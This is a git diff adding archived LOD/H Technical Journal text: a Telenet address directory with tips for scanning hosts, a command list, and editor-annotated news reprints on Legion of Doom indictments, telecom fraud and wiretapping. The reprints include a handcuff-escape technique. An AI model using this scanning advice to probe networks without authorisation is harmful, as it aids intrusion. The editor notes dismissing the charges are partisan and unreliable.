widespread use of the PSS network. For this reason we are including the +format for converting this 'local' address list into accessible hosts using +the standard scheme for telenet when accessed from 'foreign' networks. + +For example, the local address: 20114 is 031102010001400 using the standard +format. 3110 is the DNIC (Data Network Identifier Code) for USS Telenet +and the zero preceding it is needed to make it clear to the foreign +network that the NUA (Network User Address) is a non-local address. Another +example, the local address is 203155 would be: 031102030015500 thus: 0DNIC NPA +00 XXX YY NPA is the area-code prefix (this is not necessarily an area code), +XXX is the sub-address and YY is the port which is usually 00. +For those unfamiliar with Telenet addressing, it generally follows the format +of grouping hosts into area codes. Thus, our directory is grouped accordingly. +There are 'non-standard' address prefixes which are rather obscure. These +commonly are owned by the same company or organization, whereas the area code +format contains hosts from many companies or organizations. The state an area +code resides is also listed to give you an idea of its location. +I have also included Telenet commands, mnemonic addresses, a somewhat current +list of pc-pursuit dialers, and a few things to consider for the would-be +Telenet scanner. + +NOTES: + +When accessing telenet from abroad, ignore the '$' after the address. This +denotes to users of the USA that an NUI (Network User ID) is required due to +the host not accepting collect charges for the connection. + +Addresses preceded by a * refuse collect connections, but I was +unable to connect with them to determine what they were. + +Addresses that have no comments next to them either hang up upon connection, +or I was unable to evoke any response from them. + +Due to its immense size, this directory has been presented in a 'rougher' form +than our previous ones. The time to make it look 'pretty' was determined to +not be worth the effort. + + +TELENET COMMANDS +---------------- + +Most commands are listed in their four character form, however, +some may be abbreviated to merely one character (ie. C & D). + +CONN Allows user to connect to a specified host +DISA ECHO +DISA FLOW +DISA TFLO +DISC Disconnect from current host +DTAPE ? +ENAB ECHO +ENAB FLOW +ENAB TFLO +FULL Full duplex +HANG Hang up port +HALF Half duplex +MAIL Telemail service +PAR Set parameters as specified +PAR?

using Telenet. +First of all, ignore error messages! When something says rejecting, or +illegal address, or remote procedure error, try it again using sub- +addresses. (IE: 100100a, 100100b...100100.99) I have also found that +some addresses that are rejecting merely require that you connect to it +using an id. Many of the things that respond with illegal address are +telenet pads. Most of the public pads are in the following ranges: 0-20, +80-100, 180-190. Many times you will find private pads. If you are very, +very lucky you will find that pad-to-pad connections are possible to these +privately owned pads. However, most of the time they are not operating, so +your chances of actually picking anything up are very slim. + +When I did this directory I only checked the first few sub addresses on +addresses that didn't immediately connect, so needless to say there are +still a vast amount of systems out there. One address I have responds with +rejecting until you connect to the sub address 74! Imagine trying to go +that far on each of the thousands of rejecting and illegal addresses I +obtained in my scanning! Maybe some other time. + +There are several areas that I scanned that are not in this directory. +Mainly, these are areas where I didn't find anything. So you don't waste +your time, all hosts in Canada are served through Datapac, so there is +nothing in areas prefixed with a Canadian area code. There are also many +US areas that I guess are still striving for the Industrial Revolution, and +therefore have no systems online. There are also several privately owned +prefixes that I didn't scan just because it would be a pain in the ass, +above and beyond the pain involved doing the main scanning. The major ones +are 622 (NYNEX), 891, 892, 893, & 894 (OWNERS UNKNOWN). There are also a +few others that go up and down daily, depending upon their mood. I +wouldn't suggest that you all immediately start hacking these prefixes; +mainly because you will need an ID just to get a response other than +refused collect connection. + +Lastly, if anyone finds any errors in the directory, or finds anything I +omitted, let me know, and I'll revise it. Also, if anyone would like a +copy of the telix script I used to do this scanning, let me know. This was +a bitch to do, but I think it was worth the trouble. The next update won't +be for a year, as this should suffice for at least that long. + + +============================================================================== + End of Second Half of LOD/H Telenet Directory, Rev. #5 +============================================================================== +The LOD/H Technical Journal, Issue #4: File 10 of 10. + + + + NETWORK NEWS AND NOTES + ---------------------- + + +The Network News and Notes file contains reprints of articles that are of +interest to the majority of our intended readers.

Burton + + + CHICAGO--Federal grand juries in Chicago and Atlanta indicted four computer +hackers in an alleged fraud scheme that authorities said could potentially +disrupt emergency "911" telephone service throughout nine Southern States. + + The men, alleged to be part of a closely knit cadre of computer hackers +known as the Legion of Doom, gained access to the computer system, controlling +telephone emergency service of BellSouth Corp., the Atlanta-based +telecommunications giant. + + BellSouth, through two subsidiaries, oversees phone service in Alabama, +Mississippi, Georgia, Tennessee, Kentucky, Louisiana, Florida, and the +Carolinas. + + The Chicago indictment said members of the Legion of Doom are engaged in +disrupting telephone service by entering a telephone company's computers and +changing the routing of telephone calls. The hackers in the group also +fraudulently obtain money from companies by altering information in their +computers, the indictment said. + + + The hackers transferred stolen telephone-computer information from +BellSouth to what prosecutors termed a "computer bulletin board system" +in Lockport, Ill. In turn, the men planned to publish the computer data in a +hackers' magazine, the grand jury charged. + +-----EDITOR'S NOTES: + As always, ignorance and falsehoods are abound in most articles of this +nature. For the record, NO TELEPHONE SERVICE WAS INTENTIONALLY DISRUPTED DUE +TO THE ACCUSED MEMBERS. Furthermore, NO MONEY FROM COMPANIES WAS EVER +FRAUDULENTLY OBTAINED BY ALTERING INFORMATION IN THEIR COMPUTERS. These are +the typical WILD accusations made by law enforcement and further distorted +by the media in such cases. As for the bbs is Lockport, Ill. well it was +simply a legitimate information storage and retrieval system used by many, +many people for legitimate purposes of information exchange. It would be very +time consuming for the operator of said system to check every file on the +system as it was a UNIX based system with a lot of disk space. The hacker +magazine stated above is simply Phrack, Inc. put out by Knight Lightning and +Taran King. More comments after next article. + + +_____________________________________________________________________________ + +Source: ComputerWorld +Issue: 1990 +Title: Babes in high tech toyland nabbed +Author: Michael Alexander + + CHICAGO--- The U.S. Justice Department escalated its ware against computer +crime last week with two indictments against members of an alleged computer +hacker group, who are charged with stealing a copy of a 911 emergency computer +program from BellSouth Telephone Co., among several other crimes. + + In a seven-count indictment returned in Chicago, Robert X, 20 also known as +"The Prophet", is alleged to have used a computer to steal a copy of a +computer program owned and used by BellSouth that controls emergency calls to +the police, fire, ambulance and emergency services in cities throughout nine +Southern states. According to the indictment, after X stole the program -- +valued at $79,449 -- he uploaded it to a computer bulletin board. + + The Chicago indictment further alleges that Craig Y, 19, also known as +"Knight Lightning" downloaded the 911 program to his computer at the +University of Missouri in Columbia, Mo., and edited it for publication in +"Phrack", a newsletter for computer hackers. + + X and Y allegedly intended to disclose the stolen information to other +computer hackers so that they could unlawfully access and perhaps disrupt +other 911 services, the Chicago indictment charged. + + In a second indictment returned in Atlanta, X and two others were charged +with additional crimes related to BellSouth systems. + + All four hackers allegedly are members of the Legion of Doom, described in +the indictments "as a closely knit group of about 15 computer hackers", in +Georgia, Texas, Michigan and several other states. + + BellSouth spokesmen refused to say when or how the intrusion was detected +or how a computer hacker was able to lift the highly sensitive and proprietary +computer program. + + "Hopefully, the government's action underscores that we do not intend to +view this as the work of a mischievous prankster playing in a high-tech +toyland", one spokesman said. + + A source within BellSouth said that much of what the hacker took was +documentation and not source code. "They did not disrupt any emergency +telephone service, and we are not aware of any impact on our customers", the +source said. + + William Cook, an assistant U.S. attorney in Chicago, declined to comment on +whether 911 service was actually disrupted. "It is a matter of evidence,", he +said. + + Cook also said that while the two hackers are charged with carrying out +their scheme between December 1988 and February 1989, the indictment came +after a year-long investigation. Though Cook refused to say how the hackers +were discovered or caught, it is believed that after the initial penetration +by one of the hackers, an intrusion task force was set up to monitor +subsequent security breaches and to gather evidence against the hackers. + + If convicted on all counts, X faces a prison sentence of up to 32 years and +a maximum fine of $222,000, and Y faces a prison sentence of 31 years and a +maximum fine of $122,000. + + The Atlanta indictment charged Robert X, Adam Z, 22 known as "The Urvile" +and also "Necron 99", and Frank XYZ, 23 known as "The Leftist", with eight +counts each of computer fraud, wire fraud, access code fraud and interstate +transportation of stolen property, among other crimes. + + If convicted, each defendant faces up to five years imprisonment and a +$250,000 fine on each count. The three illegally accessed Bellsouth computers +and obtained proprietary information that they distributed to other hackers, +the indictment alleged. + + ----EDITOR's NOTES: As is confirmed in this article, no telephone service +was disrupted. The extent of BellSouth's inadequacy regarding security matters +was not detailed in these articles. Here is a rundown of what may have +possibly happened: BellSouth's SBDN (Southern Bell Data Network) which is a +modified Telenet network that contains hundreds if not thousands of network +nodes (individual systems) may have been accessed during which time the system +that controls the entire network may have been possibly compromised. This +would allow someone to access just about any system on the network, since +Bellsouth consolidated most of their individual systems onto a large network +(economically not a bad idea, but a security nightmare indeed). This may allow +one to stumble onto systems dealing with 911. Since it may be interesting to +learn how such a system operates and how the 'automatic trace' is +accomplished, the documentation would be of some help. No need for any actual +programs however. Possibly, maybe, an article paraphrased the operation of 911 +and was possibly to be distributed through the Phrack, Inc. newsletter. + +The last names of those involved were omitted. Go look them up for yourself if +you think its that important. + +Just for the record: KNIGHT LIGHTNING NEVER WAS A MEMBER OF LOD. Yet another +error in the reporting...LOD has half the 15 supposed number of members. + +Another article followed the above one on the same page, by the same author: + +Last week's disclosure of an alleged hacker theft of highly sensitive +BellSouth Telephone Co. documentation for a nine-state 911 emergency system +was the second serious security breach of a telephone company network to come +to light in as many months. + + In January, a trio of hackers was able to penetrate computer systems at +Pacific Bell Telephone Co. and eavesdrop on conversations and perpetrate other +criminal acts. [CW, Jan. 22]. + + Just how vulnerable are the nation's telephone systems to hacker attacks? +Spokesmen for BellSouth and Pacific Bell insist that their systems are secure +and that they and other telephone companies routinely assess their +vulnerability to hackers. + + "Security is being constantly changed, every intrusion is studied, +passwords are changed," said Terry Johnson, manager of media relations for +BellSouth in Atlanta. + + Johnson however, declined to say how the hackers allegedly were able to +lift the documentation to a 911 emergency communication services program. + + "It is a rather serious computer security breach," said Richard Ichikawa, a +Honolulu based telecommunications consultant who specializes in designing and +installing 911 emergency systems. Stealing documentation, as the Legion of +Doom member is alleged to have done, many not be a particularly difficult task +for a savvy hacker, he said. + + Taking the actual program, while certainly possible, would be much more +challenging, however. The computer the controls enhanced 911 service is "quite +isolated" from the calling public, Ichikawa said. + + A recently published report to Congress by the Office of Technology +Assessment suggested that the security and survivability of the nation's +communication infrastructure is at greater risk to hacker attacks than ever +before. Business and government reliance on communications and information +based systems has increased, thus much more is at stake when those systems +fail, the report stated. + + The increased publicity of hacker attacks may help to curb attacks by +hackers, said Sanford Sherizen, a security consultant at Data Security +Systems, Inc., in Natick, Mass. + + Some law enforcement officials complain that the nation's telephone firms +do not cooperate as readily as they would expect when attacks of this sort +occur. "They [telecommunications providers] are the single biggest headache +law enforcers have right now," said Gail Thackery, Arizona stat assistant +district attorney. + + Regional Bell operating companies contacted last week disputed that +assertion. + +_____________________________________________________________________________ + +Source: CFCA (Communications Fraud Control Association) Communicator +Issue: February-March 1989 +Title: But are LD networks safe? + + Spread over vast distances and segmented by switches guarded by their own +passwords, long distance networks are generally safe from virus attacks. +According to Henry Kluepfel, Bellcore district manager of Security Planning +intruders can easily attain the same information that is available to vendors +and service providers. "If passwords are not changed regularly, intruders +can quickly wreak havoc". + + Scott Jarus, division director of Network Loss Prevention for Metromedia, +and a member of CFCA's Board of Directors, says that users of "outboard" +computer systems should not be assigned high level access to their company's +switches or networks. "Non-proprietary hardware and software that handle +such functions as billing collection and network database management are +targets for unauthorized access and viruses", he says. + + Mr. Kluepfel says that once hackers have the documentation they can send +details on how to crash the systems to hundreds of bulletin boards. "We +found that many system administrators didn't realize manufacturers install +rudimentary default passwords." + + Bellcore encourages using sophisticated codes and applying a variety of +defenses. "Don't simply rely on a dialback modem, or a good password", says +Mr. Kluepfel. "Above all, don't depend on a system to always perform as +expected. And remember that new employees don't know the administrative +measures the operator knows". + + Managers should advise clients on any needed internal analysis and +investigations, and keep abreast of technological advances when planning +their defenses. + +_____________________________________________________________________________ + + +Source: Same as above +Title: Secure those gray boxes + + After the FCC mandated that telcos provide test modes on the gray +[or green (ed. note)] connection boxes usually found outside structures, +there have been instances of persons surreptitiously clipping on handsets +or snapping in modular connections (RJ-11) to make long distance calls on the +residents' line. CFCA advises customers to padlock their boxes to deter such +thievery. + + John Venn, manger of Electronic Operations at PacBell's San Francisco +office, reports that the boxes they install have separate connections for +company and customer use, so that users have the option of securing access +to their portion.

Last July, the company introduced an +updated version of Pen-Link, a two-year-old program that accepts data from +most Dialed Number Recorders (DNRs) manufactured today, pools that information +into a common database structure, and allows the user to determine the calling +patterns and the codes that have been compromised. + + In today's ever-expanding telecommunications environment there is a need +for faster identification and documentation of abuser call patterns to assure +successful prosecutions. In applications of DNRs for investigative purposes, +Pen-Link programs have reduced the time normally needed to input, analyze and +report call data by as much as 90 percent. The result is improved productivity +and quicker response to customers' needs. + + The Pen-Link 2.0 program also provides several related features. First, it +is a communications program, meaning that if you are using a DNR with modem +capability or RS232 communication ports, the program can automatically load +your call records into a PC, eliminating the time needed to key-in call +record data. + + Second, Pen-Link has an autoload format section that takes call records +you have transferred and puts them into a standard record format. This is an +important feature, given that the program supports multiple types of DNR +hardware that all have unique call data formats. + + In short, you can use any combination of DNRs in your investigations with +Pen-Link and all data will be compatible. Furthermore, the program allows +you the flexibility of purchasing new DNRs of any type, and not worry about +duplicating your software expense or learning new software programs. [Notice +how he keeps saying "you" in this article? (ed.)] + + Finally, Pen-Link enables you to analyze and report on your call record +information. There are 15 different call analysis reports and 6 different +graphic reports. If these reports do not meet your needs, the program has a +report generator that allows you to customize your analysis and reports. + + Pen-Link is a dedicated program written in Turbo Pascal. The company +elected to start from scratch and develop its own software, rather than +simply adapting standard applications. There are two reasons for this +approach: dedicated software programs run more efficiently, so that if a +hacker is generating thousands of call records and you want to analyze and +report this information, the program can provide a report much faster than if +you were processing the data manually. + + The second reason behind this strategy is that users only need to learn +and understand the options for the pop-up menu format. Pen-Link also supports +color monitors. + + A manual editing feature allows you to enter your database and find +specific records by the criteria you have selected; then review and edit the +data. Manual editing also allows you to enter call data from old pen +registers that only produce paper strips containing call information. + + Another feature, the utilities section, provides several options to +manage call information stored in your computer. This allows you to archive +information to disk, then reload it later when it is needed. If your data +files become corrupted, you can reconstruct and reformat them by using the +utilities section. And if you wish to use your call data information in +another application program, Pen-Link's utilities allow you to create an +ASCII text file of call information, which then can be read by these programs. +Furthermore, the program can accept ASCII text files from other DNR software +programs. + + The program calls for an IBM or compatible PC equipped with a hard drive, +operating under MS-DOS 2.1 or higher. Pen-Link currently supports the +following DNRs: JSI, Mitel, Racom, Voice ID, Hekimian, Bartec, Pamco, HDS, +and Positive Controls. If you are using a DNR that is not listed, Pen-Link, +LTD will program its software so it can automatically load call records from +your equipment. + + The use of DNRs that automatically transfer call record data saves your +security department considerable investigative time. Pen-Link's mission is +to provide telcom security departments with a sophisticated investigative +software tool that is easy to use, flexible and compatible. + +_____________________________________________________________________________ + +Source: Same as above +Title: Extended Ky. case resolved + + A 21 year-old Kentucky man was successfully convicted October 27 on 14 +counts of computer and toll fraud under a number of state statutes. The +defendant, John K. Detherage, pleaded guilty to using his personal computer to +identify authorization codes in order to place unauthorized long distance +calls valued at $27,000. + + Detherage had been indicted a year earlier by an Oldham County grand jury +on six felony counts related to the scam and two misdemeanor counts of +possessing stolen personal identification and calling card numbers. He was +later charged with two additional counts of possessing stolen PINs. + + Detherage originally was to have been tried in February 1988, but the case +was postponed when he pleaded guilty. He was sentenced at the Oldham County +Circuit Court at LaGrange to pay $12,000 in restitution, and relinquish all +computer equipment and software to the court. + + His charges included theft of services over $100; theft of services; four +counts of unlawful access to a computer, second degree; possession of stolen +credit or debit cards, and six counts of unlawful access to a computer. Four +other counts were dismissed. + + Kentucky has a number of statutes that can be applied to theft of telephone +services. Chapter 514.060 addresses theft of services, while 514.065 describes +the possession, use or transfer of a device for the theft of services. Theft +of services is defined to include telephone service, and the defendant was +charged with two counts under 514.060. + + Detherage was also charged with 10 counts (six felony and four misdemeanor) +under Chapter 434.580, which relates to the receipt of stolen credit cards. +Kentucky interprets computer crime as involving accessing of computer systems +to obtain money, property or services through false or fraudulent pretenses, +representations or promises. + +_____________________________________________________________________________ + + +Source: Same as above +Title: Industry Overview + + As major players in the telecom industry shore up the defenses on their +telephone and computer networks, criminals [who, us?] are turning to smaller, +less protected companies [its called survival of the fittest]. In 1988, the +use of stolen access codes to make free long distance calls continued to be +the favorite modus operandi among network intruders throughout the industry, +although code abuse leveled off or declined among large carriers with well +funded security organizations and substantial technical apparatus to defeat +most toll and network fraud. + + However, some resellers and PBX owners are being victimized by fraud of all +types, probably because most use access codes with only six or seven digits. +Such vulnerable systems will continue to be used by abusers to route long +distance calls overseas. Fraudulent calls placed on a compromised system +quickly accumulate charges the system owner must eventually pay. + + Many PBX's also lack effective systems able to detect irregular activities +and block fraudulent calls. Add to this the fact that several carriers may be +handling the inbound and outbound WATS lines, and investigator's jobs can +really become complex. + + The sharp increase in the abuse of voice store-and-forward systems, or +voice mail, that began alarming owners and manufacturers early last year will +continue through 1989. Last spring, traffickers began seizing private voice +mail systems to coordinate drug shipments. Messages can be quickly erased when +they are no longer needed. Dealers have been receiving mailbox numbers by +pager, then calling in recorded messages from public telephones. + + No matter how long a security code may be, if intruders obtain an 800 +number to a voice mail system they can program a computer and take the time to +break it, because it won't cost them anything. Once accessed through a PBX, +intruders can exchange stolen lists of long distance access codes, usually +without the system owner's knowledge. + + The time it takes abusers to break into a voice mail system is +proportionate to the number of digits in a security code. A four-digit code +can, for example be beaten by a skilled computer operator in slightly over a +minute. [Clarification, this is probably through the use of default security +codes, not sequential or random scanning techniques. ed.] One problem is that +voice mail customers don't often know what features to select when buying a +system. And few manufactures take the initiative to advise customers of the +importance of security. + + Another problem that has been around for several years, subscription fraud, +will continue into 1989, although telcos have reduced it by making customer's +applications more detailed and comprehensive [like requiring customers to +supply their credit card numbers. This way if they skip town without paying +and the credit card is valid and not maxed out, the phone company can still +recover the money owned them. ed.], and by checking out potential customers +more thoroughly. Dishonest subscribers use false identification and credit +references to obtain calling cards and services, with no intention of paying. + + Intelligent software is available that aids switch and PBX owners in +identifying, screening and blocking fraudulent calls. Another precaution is +to add digits to access codes, because numbers of fewer than 10 digits cannot +withstand today's intruders. A number of carriers have already gone to 14 +digits. + + Some larger carriers have been sending technical representative out to +reprogram PBX's, encourage customers to install better safeguards, and advise +them to shut down their systems at night and on weekends. Customers should +also expect to see billing inserts warning of the improved defenses against +fraud. + + As more companies break into the international market they will need solid +security safeguards to protect them against intrusions of their networks. A +small interexchange carrier (IC) in Alabama was hit hard recently by "phone +phreakers" soon after they opened overseas service. + + Other start-ups find themselves desperately trying to play catch up after +blithely operating several years without a hitch. An IC with 30,000 customers +in Southern California increased its seven-digit access codes to ten digits +and it aggressively pursuing five groups of hackers its investigators +uncovered after discovering that company-issued personal identification +numbers were posted on computer bulletin boards. + + In the final analysis, one fact emerges: widespread cooperation among +injured parties will ensure quicker results and conserve vital company +resources. + +_____________________________________________________________________________ + + +Source: PC Week April 10,1989 +Title: Keep an Ear Out for New Voice Technology +Author: Matt Kramer + + With the rise in digital transmission of voice and data, it's easy to +assume that voice and data have merged into a muddle of indiscriminate +material, with voice indistinguishable from data. After all, a bit's a bit, +right? + + But, those people in the white lab coats keep coming up with new ways to +use voice technology. + + The telephone companies are the ones poised to make the most of this +technology. U.S. Sprint recently announced that it was experimenting with the +use of "voice prints"--a recording of a verbal password that would be used to +help identify authorized subscribers using their U.S. Sprint telephone charge +cards, which would help cut down on hackers trying to steal telephone service. +Subscribers would record a voice print of a verbal password. Then, when they +were using their charge cards, they would repeat the passwords to verify their +identities. + + Northern Telecom has embarked on its own efforts to bring voice-recognition +technology to public telephone service. it is selling telephone companies a +new billing service that uses voice-recognition technology to automate collect +and third-number billing calls. + + Called the Automated Alternate Billing Service (AABS), the system calls the +party to be billed and "asks" if the charges will be accepted. The Northern +Telecom switch "listens" to the response and either completes the call or +informs the calling party that the charges have been refused. + + Northern Telecom also plans to use voice technology to offer other +features, such as allowing the system to announce the caller's name in the +party's own voice and stating the call's origin, such as the name of a city, +a university or an institution. + + The big draw for phone companies, of course, is reduction of personnel +costs, since no human operator assistance is needed. That's an option for lots +of corporate financial officers who have been attracted to automated-attendant +phone systems because they can replace a bevy of switchboard operators. + + What would be interesting about the Northern Telecom technology is to see +if it can be expanded to other gear, such as private branch exchanges, and if +if can beef up the automated-attendant feature. Rather than require callers +to punch a lot of buttons to get in touch with someone, perhaps voice +recognition could be used to "listen" for a name and then direct the call to +the appropriate party. That would be especially useful in situations where you +don't know the exact extension of whomever you are calling. Trying to maneuver +around an on-line telephone directory can be a real pain in the neck. + + At the same time, voice-recognition technology can be paired with voice +mail so that users can access their voice mailboxes without having to punch in +an identification number or password or to deal with a menu. It would be a lot +easier to just say, "Read messages". + + There's still a lot of potential to be developed in voice technology. + +_____________________________________________________________________________ + + +Source: PC WEEK May 15, 1989 +Title: MCI to Provide Transition to ISDN +Author: Matt Kramer + + MCI Communications Inc. hopes to give its customers a smoother transition +to ISDN with new services that offer many of the technology's features without +requiring costly upgrades to ISDN-compatible equipment. + + The communications company recently announced new Integrated Services +Digital Network and "ISDN-equivalent" services that will provide MCI customers +with network-configuration, control and management features, according to +company officials. + + The equivalent services, which will be available this fall, run over +existing in-band signaling channels. True ISDN services require a separate +out-of-band D channel for signalling. + + MCI's full ISDN services are scheduled for delivery in the first quarter of +next year. + + The equivalent services, while not providing the full ISDN feature set, are +designed to introduce customers to the benefits of ISDN before requiring them +to make the investment in ISDN-compatible telecommunications gear, officials +said. + + "While they may not want to make that expenditure now, they certainly want +to have ISDN-like services available", said Kevin Sharer, senior vice +president of sales and marketing at MCI, in Washington. + + The equivalent products include the MCI 800 Enhanced Services Package, +which allows customers with dedicated access lines to receive the number of +the calling party just prior to receiving the call. This Automatic Number +Identification (ANI) is then used to query a database to bring up a customer's +account or other information, according to officials. + + Northern Telecom Inc. and Rockwell International Corp. have developed new +software for their private branch exchanges that permits the switches to +handle in-band ANI transmission. + + Some observers expect the equivalent services will be useful in the +evolution from existing telecommunications to ISDN.

Emergency bulletins will be sent to law +enforcement agencies via teletype machines nationwide. On Friday, deputies +were taking 10 prisoners from the jail downtown to another one in the city. +All were handcuffed. "When the deputy opened the back of the van, all 10 guys +were smiling and said, 'See what we did,'" the Sheriff said. Each prisoner +held up his arms to show broken handcuffs. + + The culprit was a simple seat belt clip. The circular cuffs are connected +with a chain, held tightly to each cuff by a swivel-head link that moves +freely to ensure that the chain cannot be twisted when the wrists move. Seat +belt clips typically have one or two holes, or slots, that lock them into +place with the buckle. The prisoners learned that jamming the swivel-head on +the clip stops the swivel head from turning freely. "A quick twist of the +wrist, and the chain shears off at the cuff," the sheriff said. + + The sheriff ordered seat belts removed from jail vans. He also ordered +that the prisoners in cruisers be handcuffed with their hands behind their +back and the seat belts locked firmly across them. Deputies often handcuffed +prisoners' hands in front of their bodies. But even if prisoners were cuffed +behind their backs, it would not be difficult for them to manipulate the +swivel head into a seat belt buckle and twist themselves free -- if they +could reach the seat belt. "This is a danger to every law enforcement officer +in the country", the sheriff said. + + Handcuff manufacturers contacted Friday are studying the possibility of +redesigning the handcuffs by enlarging the swivel head or placing some type +of shroud over it. "People in jail have 24 hours a day to figure a way out" +said the sheriff. + + "Although only 10 people know the technique, I guarantee that the entire +jail population will know how to do it before the day is up,". "The only +people who won't know about it is law enforcement officers". The sheriff +met Friday with representatives of several local and federal agencies. An +FBI spokesman said the escape technique will be described in the FBI's +nationally distributed LAW ENFORCEMENT BULLETIN. + + Although the sheriff was grateful to learn about the technique from +prisoners who did not try to escape, he was not amused. He told deputies, +"Charge them with destruction of county property. We'll see how funny they +think that is." + +_____________________________________________________________________________ + +Title: Federal grand jury probes Cincinnati Bell wiretapping flap +Source: Data Communications +Issue: November 1988 +Author: John Bush + + A federal grand jury in Ohio is investigating illegal wiretapping +allegations involving two former employees of Cincinnati Bell who claim the +telephone company ordered them for more than a decade to eavesdrop on +customers. + + In addition, an attorney who filed a class-action lawsuit against +Cincinnati Bell on behalf of the people and companies who were allegedly +wiretapped, says he is trying to prove that the telephone company sold the +information gained from the electronic surveillance. + + A Cincinnati Bell spokesperson denied the charges, saying they were +trumped-up by the two former employees, who are seeking revenge after being +fired by the telephone company. + + The lawsuit has been filed against Cincinnati Bell Inc. on behalf of +Harold Mills, a former police lieutenant and former commander of the +Cincinnati Vice Squad, as well as a number of other individuals and companies. +Among the alleged victims mentioned in the complaint were Sen. Howard +Metzenbaum (D-Ohio) and Proctor and Gamble Co. (Cincinnati, Ohio). + + Gene Mesh, the attorney who filed the lawsuit, believes the Cincinnati Bell +case is not an isolated incident but a trend...an explosion of cancer that +"this kind of thing [wiretapping] has developed its own markets." + + When asked if Cincinnati Bell was selling the information gained from +tapping, Mesh said "we are proceeding along evidentiary lines to prove this." + + Thus far, the civil action hinges on the testimony of two former Cincinnati +Bell employees, Leonard Gates, a supervisor, and Robert Draise, an installer +who at one time worked for Gates. Their combined testimony states that, under +the auspices of Cincinnati Bell, they conducted over 1,200 illegal wiretaps +from 1972 to the present. + + According to Gates, as a result of the Proctor and Gamble wiretap, "we +were into all of P&G's databases." In addition, both Gates and Draise claim +to have been in on illegal wiretaps of General Electric Co.'s Aircraft Engines +Division near Cincinnati. Draise also claims that he was ordered to identify +all of GE's facsimile and modem lines for Cincinnati Bell. + + Neither Proctor and Gamble nor General Electric would comment. However +Sen. Howard Metzenbaum's Washington, D.D., office says that the Senator +"found the news shocking and is awaiting more information to see if it +[the wiretap] actually happened. + + Meanwhile Cincinnati Bell maintains that the suit and allegations are +merely Gates's and Draise's way of getting back at the phone company for +having fired them. + + Cyndy Cantoni, a spokesperson for Cincinnati Bell, said that "we have heard +the allegations that we wiretapped, but if Draise or Gates did any tapping, it +wasn't done at Cincinnati Bell's request." + + Cantoni also cited a letter from Cincinnati Bell President Ray Clark that +went out to all Cincinnati Bell employees in the wake of the publicity +surrounding the wiretapping accusations. The letter stated that Gates had been +warned in April 1985 against continuing an affair with an employee he had been +supervising and who had accused him [Gates] of sexual harassment, according to +Cantoni. + + The letter went on to say that Gates reacted to the warning with +insubordination and threats and "carried on a campaign against the company." +As a result, Gates was fired for insubordination, says Cantoni. Robert Draise +was fired after he was convicted of misdemeanor wiretapping charges for +tapping the phone line of a friend's girlfriend, Cantoni says. + + Cincinnati Bell is an independent telephone company that was allowed to +keep the "Bell" trademark after divestiture, since it is older than AT&T, +says Cantoni. + +[ End of Document ] +[ End Of The LOD/H Technical Journal Issue #4 ] + diff --git a/public/docs/LOD/lod-5.txt b/public/docs/LOD/lod-5.txt new file mode 100644 index 0000000..262de7b --- /dev/null +++ b/public/docs/LOD/lod-5.txt @@ -0,0 +1,4150 @@ +The LOD Technical Journal: File #1 of 12 +Volume 1, Issue 5 Released: June 18, 1993. + + + + LOD TECHNICAL JOURNAL + --------------------- + + + + The Legion of Doom will long be remembered in the computer + underground as an innovative and pioneering force, that + consistently raised the collective level of knowledge and + provided many answers to questions ranging from the workings + of the telephone system to the structure of computer operating + systems. + + + 5.

No longer are we just a hacking group. The LOD is now offering +formal courses the way any other accredited Technical School, College of +Applied Arts or University does. + +Several Reasons lay behind this bold new decision... + +o Educate people in skills that can be applied to today's job market. +o Give a general understanding in computers/telecom. +o Offer unique courses that other institutions don't offer. +o Instead of people wrongly claiming to be a "hacker" they can now become + one. +o Offer all those interested a chance to enrol. +o And to provide them free of charge. + +Due to limited resources only the three courses we felt to be the most +important are being offered. They will be conducted on a "correspondence" +basis. It operates as follows. If you are seriously interested in enroling in +these courses, send us Email or snail mail with the completed application +form at the end of this calendar. That includes your name, address, phone +number, Internet address if applicable and a brief outline of your +educational and occupational background. Don't worry though all applicants +are accepted. We would however advise everyone that previous experience with +a computer is recommended. If sending snail mail be sure to provide a 8X11 +size SASE for us to reply to you in. A course outline including a list of +required readings and assignment due dates will be mailed back to you. In the +outline will be full bibliographic information on the books and soft copy +materials you'll need for the course. It will work just like any other course +does just without the exams and tests as it would be impossible to adjudicate +them. However, because of this and to maintain the integrity of the LOD +Technical School papers will be marked sternly at post-secondary standards. +After you submit your paper to us an LOD member will mark it and return it to +you via snail or email with comments and a grade attached. + +Now for the best part... You can take these LOD courses as "Courses at +another institution". Meaning that yes, in addition to getting your degree, +included in it can be LOD courses! ALL educational institutions have +provisions for courses to be taken at other institutions. Its a fairly simple +procedure. You go to your Office of Student Programmes/department/guidance +centre etc. and obtain a form for "taking a course at another institution". +Attach the course descriptions from this file and gain permission from the +director of your faculty/department/program/etc. and then you are set. +Providing you pass our courses with a high enough grade your institution will +accept the courses as part of your degree requirements. If your institution +has no equivalent courses, they can become "electives". Since you are usually +required to take up to 3 elective courses to obtain a degree why not do +something you enjoy? After all its more exciting than taking Early Italian +Literature as your elective. There is no need to worry about our "legitimacy" +as long as you obtain permission to take the course through the proper +procedure. An institution does not need any kind of formal designation though +the Department/Ministry of Education to provide a course. We are just another +one of the millions of institutions throughout the world that offer training +or formal courses. These courses can also be used to place you in "Advanced +Standing" if you aren't at school now but decide to in the future.

Not data +communications or telephony but communications. The two have for all +practical purposes become one in the same. Voice communications, wireless +communication services etc. are now being transmitted by digital means. What +was once a simple matter of drawing a line between the two is no more the +case. + +This convergence together with new technologies radically changes the picture +of communications. Many former concepts and systems will be obsolete in a few +years. + +To examine the future of communications i'll cover: + +- ISDN and BISDN +- ATM +- SONET +- Service Net-2000 +- Other developments + +ISDN +=--= + +A comprehensive description of ISDN would be to big to cram in here so a +brief definition and update on the status of ISDN will be given. + +ISDN Defined +------------ +ISDN is defined by the CCITT as: + +...a network in general evolving from a telephony Integrated Digital Network +(IDN), that provides end-to-end digital connectivity to support a wide range +of services including voice and non-voice services, to which users have +access by a limited set of standard multi-purpose user network interfaces... + +Basically ISDN is a network that carries voice and data over the same lines. +All services exist in digital form and can be switched by one network. Much +has been forecasted about how ISDN will change the world with interactive +television, home banking, employees conducting business at home, new services +etc. with AI systems controlling central databases. + +Technically defined it provides a digital interface, usually with 2 channel +types - B channels for voice and data and D channels for signalling and +control. This gives a dedicated channel for the subscribers information and +one for control of the interface. + +The fundamental building block of ISDN is its 64 kbps digital channels. With +two main interfaces - Basic Rate Interface (BRI) and Primary Rate Interface +(PRI). BRI handles small scale services such as subscriber lines and PRI +handles large scale services such as central databases. Each has both a D +channel and X number of B channels. BRI has 2B + D channels and PRI has 23B ++ D channels. Each B channel is 